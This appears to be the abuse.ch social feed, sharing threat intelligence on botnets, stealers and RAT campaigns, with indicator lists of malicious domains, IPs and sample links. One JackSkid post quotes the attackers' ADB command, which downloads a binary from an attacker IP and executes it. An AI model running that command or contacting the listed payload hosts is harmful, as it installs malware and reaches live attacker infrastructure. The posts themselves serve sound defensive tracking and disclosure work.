← Feed

Posts

• View post

  🚨 ANNOUNCEMENT FOR TOP CONTRIBUTORS! 🚨 We’ve been working on something huge and the cat 🐈 is finally out of the bag 👀 ... We’ve officially partnered with Modat to give FREE Magnify licenses to our top contributors! 🎉🔥 You give your time, brainpower, and expertise to this community 👏. You hunt down the bad guys every single day - we want to make sure you have the best tools 🛠️ available to do what you do for the good of the internet every single day! Consider this our way of saying THANK YOU...

• View post

  We recently sinkholed a DDoS #botnet of 200,000 compromised Android TV boxes infected with #CECbot malware 🕵️‍♀️. Shortly after, the threat actor responded by registering a rather specific botnet C2 domain 👇 📡 spamhaushackers .at Nice try, but their new C2 domain is already flagged🛑. Its authoritative DNS runs on DNSPod (*.dnspod.com), which has carried a poor reputation for years! 💡 ⤵️⤵️⤵️⤵️ https://hunting.abuse.ch/hunt/6aa7e82c00a16/spamhaushackers.at/#sia

• View post

  A couple of months in and the Community Hub is thriving 🤩 ... 36,441 contributions across all abuse.ch platforms in the last 30 days (up +30.8%) 🔥🔥🔥 @geenensp 🥇 on URLhaus (78-month streak!!) @TheRavenFile 🥇 on ThreatFox @whack_sh 🥇 on MalwareBazaar Go see the full Top10 leaderboards 👉 community.abuse.ch #SharingisCaring #Leaderboards #Community 💛

• View post

  Did you know that if you run Cowrie high interaction SSH and Telnet honeypot 🍯🐝, you can automatically submit malicious URLs caught by it to URLhaus 💡? If you aren't running a Cowrie honeypot yet, you may want to check it out: Project website: 🖥️ https://cowrie.org/ GitHub repository: 🖱️ https://github.com/cowrie/cowrie Malicious URLs caught by Cowrie honeypots: 🌐 https://urlhaus.abuse.ch/browse/tag/cowrie/

• View post

  📢 Important update | Changes to file exports From October 21st, file exports will require authentication. Non-authenticated users will no longer be able to export files. Authenticated users can continue exporting, with a small update to how export URLs are accessed. If you’re an authenticated user, you’ll now need to: ➡️ Use the new domain: {{platform}}-api.abuse.ch (where the platform can be urlhaus, threatfox or mb for MalwareBazaar) ➡️ Insert your unique Auth Key (obtained via auth.abuse.c...

• View post

  Fake DocuSign emails luring recipients into downloading a fake Adobe Acrobat Reader update, leading to ConnectWise #ScreenConnct RMM 🖥️🖱️ email ➡️ Link ➡️ PDF ➡️ MSI Payload delivery URLs: 📕 data.vaceditions .com/wp-content/new-statement.pdf ⚙️ acrob.my-adobe-plugins-update .top Malware sample ⤵️ https://bazaar.abuse.ch/sample/9f34ec35fc57b33ee6118fb608abc46c1e7b9ff89955a158b6c8812b48ed2963/ Rogue ScreenConnect servers: 📡 owo.efunmilowoonline .top (NameSilo 🇺🇸) 📡 153.52.178.118:8041 (Hyonix🇺🇸)

• View post

  Nyxar Stealer with potential Turkish roots 🇹🇷, sold as malware-as-a-service with of 60 modules, including: 🪝 Browser credential and cookies stealer 💬 Messaging app credential stealer (Discord, Telegram, etc) 👛 Crypto wallet stealer 🎮 Gaming app credential stealer (Steam, Epic, etc) Probably of turkish origin: 🕑 Client quotas reset at 03:00 Instanbul time 🇹🇷 tr-TR formatting and error messages in bot admin panel Botnet C2s: 📡nyxar .cc 📡nyxar .lol 📡nyxarstealer .lol 📡nyxarst .lol 📡polnet .lol M...

• View post

  From TODAY, non-authenticated users can no longer export files from our platforms. If you haven’t already #Authenticate 👉 https://auth.abuse.ch/ Once authenticated, you will need to: ➡️ Use the new domain: {{platform}}-api.abuse.ch (where the platform can be urlhaus, threatfox or mb for MalwareBazaar) ➡️ Insert your unique Auth Key before the file name (obtained via http://auth.abuse.ch) #SteadyPlatform #SteadySignal #SharingIsCaring

• View post

  Another day - another Stealer: MopsStealer 🐶 Active botnet C2s, hosted at Podaon SIA 🇳🇱: 📡 mops .to 📡 45.91.202.47:408 📡 45.91.202.47:1488 📡 45.91.202.146:408 📡 45.91.202.146:1488 Malware samples ⤵️ https://bazaar.abuse.ch/browse/signature/MopsStealer/ IOCs ⤵️ https://threatfox.abuse.ch/browse/malware/win.mops_stealer/

• View post

  In an international law enforcement operation 👮, the US Department of Justice 🇺🇸, in cooperation with private sector partners, have taken down notorious bulletproof hosting provider Virtualine 💥 ➡️ https://www.justice.gov/usao-edva/pr/bulletproof-website-domain-seized-international-law-enforcement-operation Operating as AS202412 (Omegatech LTD), Virtualine received upstream connectivity from German 🇩🇪 providers aurologic GmbH (AS30823) and Pfcloud UG (AS51396), as well as French 🇫🇷 PEERXY NETWORKS...

• View post

  Malspam 📧 targeting Spanish users 🇪🇸 Email ➡️ geo filter ➡️ mediafire ➡️ iso ➡️ vbs 1st stage - geo filter 🛑 vmi3228488.contaboserver .net Contabo 🇩🇪 2nd stage - payload 📄 https://urlhaus.abuse.ch/url/3824487/ Dropped iso: https://bazaar.abuse.ch/sample/faaa4d005314440dfd7ed5fa2f522e1a2642f08ec3bf0c1e2779a39bf4268349/ Botnet C2: 📡 54.197.208.68 Amazon 🇺🇸

• View post

  @frehi Thanks, will check it out

• View post

  My favorite Remus botnet C2 domain so far 😄 havelbeenpwned .net ⤵️ NICENIC INTERNATIONAL🇨🇳 103.211.219.238:4219⤵️ AS394695 PUBLIC-DOMAIN-REGISTRY 🇮🇳 Malware sample: https://bazaar.abuse.ch/sample/75fce6ec4b0815d7ccc9d87c2687c3c379c8e446739b3302b72688dd632c9f9e/ More #Remnus IOCs available on ThreatFox 🦊 https://threatfox.abuse.ch/browse/malware/win.remus/ /cc @troyhunt

• View post

  Botnet C2 tied to an unidentified #malware family trying to hide as FortiGate device 😜 🌐 Domain: az2030port.duckdns .org 📡 C2: 178.16.55.28:2030 ➡️ Omegatech LTD🇳🇱 🔐 SSL certificate: FortiGate, O=Fortinet Ltd. Corresponding malware samples ⤵️ https://hunting.abuse.ch/hunt/6a285c89c73e5/178.16.55.28/

• View post

  Our platforms were recently targeted by a large-scale web scraping operation originating from devices that are apparently participating in residential proxy networks 🏘️ 🖥️ . The vast majority of these requests were successfully blocked by our existing mitigations 🛑 . However, the sheer volume of traffic caused temporary disruptions to both the MalwareBazaar and URLhaus platforms ⚠️ To put the scale into perspective, our web platforms typically handle approximately 1,500 requests per second (exclud...

• View post

  RE: https://infosec.exchange/@spamhaus/116804685911276876 New loader in town SolarisLoader spotted by @spamhaus and abuse.ch 🔥 📡 SolarisLoader IOCs (botnet C2 servers): https://threatfox.abuse.ch/browse/tag/SolarisLoader/ 📄 SolarisLoader malware samples: https://bazaar.abuse.ch/browse/tag/SolarisLoader/ ⚙️ SolarisLoader configs are available: https://github.com/spamhaus/CTI/tree/main/solarisloader

• View post

  Something new is coming for abuse.ch contributors... watch this space! 👀 #ComingSoon #CommunityHub #SharingIsCaring 😻🥇💛

• View post

  JackSkid malware spreading from 46.151.178.13 (SINOWORLDWIDE 🇳🇱) on exposed devices running Android Debug Bridge (ADB) ⤵️ ADB command: ⚙️ shell:busybox wget http://94.154.43 .48/rebirth.arm7 -O /data/local/tmp/com.supercell.clashroyal; chmod 777 /data/local/tmp/com.supercell.clashroyal; ./data/local/tmp/com.supercell.clashroyal adb; Delivering #JackSkid using DNS TXT record of ricocaseagainst.rebirth .st as botnet C2: 📡 178.16.52.104 (OMEGATECH 🇩🇪) Payload delivery URLs (STORMCLOUD 🇹🇷): 🌐 https:/...

• View post

  Rogue #ScreenConnect RMM cluster using a fake COLDCARD domain to lure crypto wallet owners 💰 into downloading a fake DocuSign MSI which drops ScreenConnect 🖱️🖥️ ⛓️ Attack Chain: Threat actor domain ➡️ GitHub repo ➡️ ScreenConnect 🔍 Fake #COLDCARD domain with opendir: hardware-data .com ➡️ Tucows Domains 🇺🇸 ⚙️ Rogue GitHub user with 19 code repositories: https://github.com/kaswareteam/ 🔌 ScreenConnect RMM botnet C2s (Port 8041 TCP): 🇺🇸 DeltaHost : hitpanels .com ➡️ 185.174.101.132 hitspanels .com ➡️...

• View post

  StealC C2 domains dropping OverlordRAT, using CloudFlare and Microsoft look-a-like domains 👁️ 🌐 cloud-flare-authenticator .link 🌐 cloud-flare-authenticator .click 🌐 update-microsoft-data .services 📡 89.34.90.45:443 OverlordRAT #botnet C2 server ⤵️ 🌐 download-windows-update .live 📡 151.243.113.94:5173 Both hosted at AS207043 DEDIK-IO in Germany🇩🇪 📄 Malware sample: https://bazaar.abuse.ch/sample/5c61c977440dd7e870c1a63037558dd3fc2c41c8fd9d6ab67acff1c7d35abe01/ 🦊 IOCs on ThreatFox: https://threat...

• View post

  We identified a new malware called #HypeAgent which acts as information stealer & loader. It is dominantly spread through malspam 📧, first observed on August 1, 2026 🔭👀 Key Capabilities ⤵️ 🕵️ Stealer & Loader: Supports 200+ commands; drops/executes payloads, including crypto miners 💸 🔎 Targeted Harvesting: Steals web browser & email credentials, crypto wallets, and gaming accounts (Steam, Roblox) 🎮 🤖 AI & Platform Cookie Stealing: Targets a list of hardcoded domain...

• View post

  NeedleStealer 🪡🪝 written in Go ⤵️ 🔎 HTTP user agents observed: User-Agent: Loader-cli/v1 user-agent: Go-http-client/2.0 📡 Botnet C2s, all behind Cloudflare CDN: http://woolvilli .com/api/v2 http://allremdeskriki .com/api/v2 http://dubl1allremriki .com/api/v2 http://dubl2allremriki .com/api/v2 💡 Related C2 infrastructure at Vultr 🇳🇱: http://136.244.100 .54:8899/api/v1/agent/register http://136.244.100 .54:8899/api/v1/agent/ws ⚱️ Artifacts: \Sessions\1\BaseNamedObjects\Local\NeedleRemoteAgentSing...

• View post

  Overlord RAT 🔌 dropped by Amadey loader 🔥 Botnet C2 server: mypamella .xyz ➡️ NameSilo 🇺🇸 136.175.82.88:443 ➡️ 2ETELECOM🇧🇬 Payload is bulletproof hosted 🛡️at Omegatech LTD 🇳🇱 🌐 https://urlhaus.abuse.ch/url/3906755/ 📄 Malware sample: https://bazaar.abuse.ch/sample/ac1f8b34486eabbb9ae6c3880a4b57dbf044cbfcc7f103ab3c93ed4f26285c3b/ 🦊 Further IOCs on ThreatFox: https://threatfox.abuse.ch/browse/malware/win.overlord/ Admin panel ⤵️

• View post

  #BoratRAT spreading using similar tactics as #ClickFix 👇 1️⃣ Fake Microsoft Security Verification 🔑 leading to malicious PowerShell execution 🖱️ 2️⃣ Command triggers a DNS TXT request to recapture-robot .today 🌐 to obtain a PowerShell script 📜 3️⃣ Script drops payload, infecting host with BoratRAT 💻 Payload delivery: 🌐 recapture-robot .today (PDR 🇮🇳) 🌐 91.193.7.186:49094 (M247 🇯🇵) Botnet C2: 📡 out-agent.duckdns .org 📡 91.193.7.186:48988 (M247 🇯🇵) 📄 Sample: https://bazaar.abuse.ch/sample/5a8ab21c...

• View post

  Over the past days, active #malspam campaigns targeting LatAm users 🇦🇷🇧🇷🇲🇽 have been delivering the Grandoreiro banking trojan 🏦💰 📧 Email ➔ 📜 JS file ➔ 📑 Fake PDF download Final payload is hosted on MediaFire 🔥 free file hosting C2 network traffic is rather trivial to detect as #Grandoreiro is using Embarcadero Delphi compilation tools' HTTP user agent 🖥️⤵️ User-Agent: Embarcadero URI Client/1.0 🔎 Botnet C2 domain resolved via Google DNS-over-HTTPS (DoH): devilmaycry.servehumour .com 👀 📡...

• View post

  📢 SERVICE UPDATE | As you may have noticed, we've experienced some downtime recently which was largely caused by a small number of users exceeding our Fair Use Policy. To protect platform stability and ensure fair access for everyone as our user base grows, we are introducing API rate limits. Accounts generating unusually high query volumes may be temporarily limited for up to 72 hours. Repeated or persistent abuse may result in longer-term restrictions on API access.

• View post

  It's here!! The @abuse_ch@ioc.exchange #CommunityHub is LIVE 🔥🔥🔥 Now you can access a LIVE view of: ➡️ Total community contributions ➡️ Top 10 Leaderboards ➡️ Monthly contribution trends ....and a place to track your own impact! Our community is bigger than any one platform. It's a global network of researchers working together to disrupt malware, botnets, and cybercrime. And every contributor deserves recognition 💛 Head to the Community and claim your profile 👉 abuse.ch/community

• View post

  Interesting unlabeled malware sample shared by our friend smica83, apparently targeting UA users 🇺🇦🕵️ The malware sample: 1️⃣ Obtains the DNS A record of ns2.theendlessweb .com 2️⃣ Queries directly the DNS A record (207.90.251 .10) for the DNS TXT record of sni13.docsmanagement.endl .site 3️⃣ 207.90.251 .10 returns a PowerShell command as part of the DNS TXT record 4️⃣ Malware executes the PS command and obtains second stage from global-research .space/adv13.php global-research .space has been regis...

• View post

  We’ve identified an interesting malware family 🔍, which we’ve named #GrokPy due to its use of a Grok LLM model 🤖 to solve and subsequently bypass CAPTCHAs 🔥 The malware gets dropped by #Amadey and: 🪝 collects information about the infected device, such as screen resolution, public IP & location, ram usage and CPU name 💻 attempts to escalate privileges by running as admin or as a scheduled task

• View post

  We are happy to announce the integration of @kunai_project Linux Sandbox on MalwareBazaar 🥳 Sample ELF X86 report ⤵️ https://bazaar.abuse.ch/sample/0d2211b7e92fcc6a9f7c94d4adf8e47f6f97e31dacd3b2ffb6cce3c485fcef26/